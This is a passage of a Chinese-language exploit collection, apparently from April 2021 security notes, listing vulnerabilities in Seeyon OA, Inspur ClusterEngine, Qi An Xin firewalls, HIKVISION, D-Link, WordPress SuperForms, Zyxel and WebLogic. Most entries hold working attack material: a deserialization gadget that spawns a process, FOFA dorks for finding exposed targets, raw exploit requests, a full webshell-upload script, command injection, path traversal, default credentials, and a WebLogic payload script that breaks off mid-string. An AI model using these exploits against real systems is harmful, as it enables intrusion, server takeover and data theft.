<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> 0x25 其他信息
4月10日9時，網爆OneBl**小於等於v2.2.1遠程命令執行，poc已流出 CVE-2021-24086，Windows TCP/IP拒絕服務漏洞POC已公開 Chrome 命令執行(需要關閉Google沙箱，不排除存在繞過沙箱的可能) //https://www.cnblogs.com/KHZ521/p/14654233.html 4月11-4月12安全情報
0x26 浪潮 ClusterEngineV4.0 任意命令執行
漏洞關注點
/alarmConfig
fofa_dork
title="TSCEV4.0" POC
地址 : https://github.com/xiaoshu-bit/ClusterEngineRce
pip3 install -r requirements.txt
python3 clusterengine_poc.py -u http://127.0.0.1:1111
def verify(self, first=False): target = self.scan_info['Target'] verbose = self.scan_info['Verbose'] headers = { "Content-Type": "application/x-www-form-urlencoded" } payload = "op=login&username=asd&password=asd'" try: url = urljoin(target, '/login') resp = req(url, 'post', data=payload,headers=headers,verify=False) if ('{"err"' in resp.text) and (" syntax error: unexpected end of file" in resp.text): log.highlight("found Inspur ClusterEngine v4.0 Remote Code Execution") self.scan_info['Success'] = True self.scan_info['Ret']['VerifyInfo']['URL'] = url self.scan_info['Ret']['VerifyInfo']['Payload'] = payload self.scan_info['Ret']['VerifyInfo']['method'] = "POST" return except Exception as e: log.info("[*]Request to target URL fail! {}".format(e)) 
0x27 志遠OA session泄露&&任意文件上傳漏洞
漏洞描述
致遠OA通過發送特殊請求獲取session，在通過文件上傳接口上傳webshell控制服務器
fofa
title="致遠" 漏洞復現
首先是一個獲取管理cookie的漏洞。然后上傳壓縮文件進行解壓。達到getshell的目的
POST /seeyon/thirdpartyController.do HTTP/1.1 Host: 192.168.10.2 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 133 Content-Type: application/x-www-form-urlencoded method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1 上傳壓縮包
POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1 Host:192.168.10.2 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.25.1 Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5 Content-Length: 841 Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="firstSave" true --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="callMethod" resizeLayout --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="isEncrypt" 0 --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="takeOver" false --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="type" 0 --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="file1"; filename="11.png" Content-Type: image/png 111 --59229605f98b8cf290a7b8908b34616b-- 然后解壓
POST /seeyon/ajax.do HTTP/1.1 Host: 192.168.10.2 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913 Content-Length: 157 method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D getshell 腳本
# coding: utf-8 import requests import re import time proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'} def seeyon_new_rce(targeturl): orgurl = targeturl # 通過請求直接獲取管理員權限cookie targeturl = orgurl + 'seeyon/thirdpartyController.do' post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"} response = requests.post(url=targeturl,data=post,proxies=proxy, timeout=60,verify=False) rsp = "" if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower(): cookies = response.cookies cookies = requests.utils.dict_from_cookiejar(cookies) # 上傳壓縮文件 aaa=cookies['JSESSIONID'] print(aaa) targeturl = orgurl + 'seeyon/fileUpload.do?method=processUpload' files = [('file1', ('11.png', open('1.zip', 'r'), 'image/png'))] print() headers = {'Cookie':"JSESSIONID=%s"%aaa} data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0', 'isEncrypt': "0"} response = requests.post(url=targeturl,files=files,data=data, headers=headers,proxies=proxy,timeout=60,verify=False) if response.text: reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I) print(reg) if len(reg)==0: exit("匹配失敗") fileid=reg[0] targeturl = orgurl + 'seeyon/ajax.do' datestr = time.strftime('%Y-%m-%d') post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D' #headers = {'Cookie': cookies} headers['Content-Type']="application/x-www-form-urlencoded" response = requests.post(targeturl, data=post,headers=headers,proxies=proxy,timeout=60,verify=False) print(response.text) seeyon_new_rce("https://baidu.com/") shell地址：/seeyon/common/designer/pageLayout/a2345678.jsp
0x28 奇安信 網康下一代防火牆RCE
漏洞位置
/directdata/direct/router
POC
POST /directdata/direct/router HTTP/1.1
Host: 192.168.10.6
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami>/var/www/html/1.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
0x29 其他信息
4月12日14時 最新發現天擎終端安全管理系統控制台存在遠程命令執行漏洞，poc疑似已流出 4月12日12時 最新發現訊雷11存在二進制漏洞 4月12日12時 傳出PHP zerodiMQ后門漏洞，poc已流出 4月12日10時 傳出fastjson 1.2.75 繞過RCE漏洞，poc疑似已流出 4月13號-4月21號
0x30 Create D-Link DCS系列監控賬號密碼信息泄露
fofa
app="D_Link-DCS-2530L" POC
/config/getuser?index=0 0x31 HIKVISION 流媒體管理服務器 后台任意讀取
Fofa
title="流媒體管理服務器" POC
http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini 
0x32 HIKVISION 流媒體管理服務器 存在默認口令
POC
admin/12345 0x33 Kyan 網絡監控設備 賬號密碼泄露漏洞
fofa
title="platform - Login" POC
http://xx.xx.xx.xx/host 0x34 Wayos AC集中管理系統默認口令
Fofa
title="AC集中管理系統" POC
admin/admin
0x35 WordPress 插件SuperForms任意上傳
影響版本
<= 4.9.X POC
# Exploit Title: WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution # Exploit Author: ABDO10 # Date : Jan - 28 - 2021 # Google Dork : inurl:"/wp-content/plugins/super-forms/" # Vendor Homepage : https://renstillmann.github.io/super-forms/#/ # Version : All (<= 4.9.X) # data in http request : POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1 <=== exploit end point Host: localhost User-Agent: UserAgent Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------423513681827540048931513055996 Content-Length: 7058 Origin: localhost Connection: close Referer: localhost Cookie: -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="accept_file_types" jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <======= inject extension (|PHP4) to validate file to upload -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="max_file_size" 8000000 -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="image_library" 0 -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="files[]"; filename="filename.(extension)" <==== inject code extension (.php4) for example Content-Type: application/pdf Evil codes to be uploaded -----------------------------423513681827540048931513055996-- # Uploaded Malicious File can be Found in : /wp-content/uploads/superforms/2021/01/<id>/filename.php4 u can get <id> from server reply . 0x36 Zyxel NBG2105身份驗證繞過
POC & EXP
# python3 import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning def poc(url): exp = url + "/login_ok.htm" header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "cookie":"login=1", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=exp, headers=header, verify=False,timeout=10) #print(response.text) if response.status_code == 200 and "GMT" in response.text: print(exp + " 存在Zyxel NBG2105 身份驗證繞過 CVE-2021-3297漏洞！！！") print("數據信息如下：") print(response.text) else: print(exp + " 不存在Zyxel NBG2105 身份驗證繞過 CVE-2021-3297漏洞！！！") except Exception as e: print(exp + "請求失敗！！") def main(): url = str(input("請輸入目標url：")) poc(url) if __name__ == "__main__": main() 0x37 weblogic的T3反序列化RCE
POC
#!/usr/bin/python2 import socket import os import sys import struct import time if len(sys.argv) < 2: print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0]) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) server_address = (sys.argv[1], int(sys.argv[2])) print '[+] Connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn:7001\n\n' print 'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj='\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4c\x69\x6e\x6b\x65\x64\x48\x61\x73\x68\x53\x65\x74\xd8\x6c\xd7\x5a\x95\xdd\x2a\x1e\x02\x00\x00\x78\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00\x78\x70\x77\x0c\x00\x00\x00\x10\x3f\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e\x00\x04\x78\x70\xea\x0c\xa3\xad\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x10\xea\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4c\x69\x6e\x6b\x65\x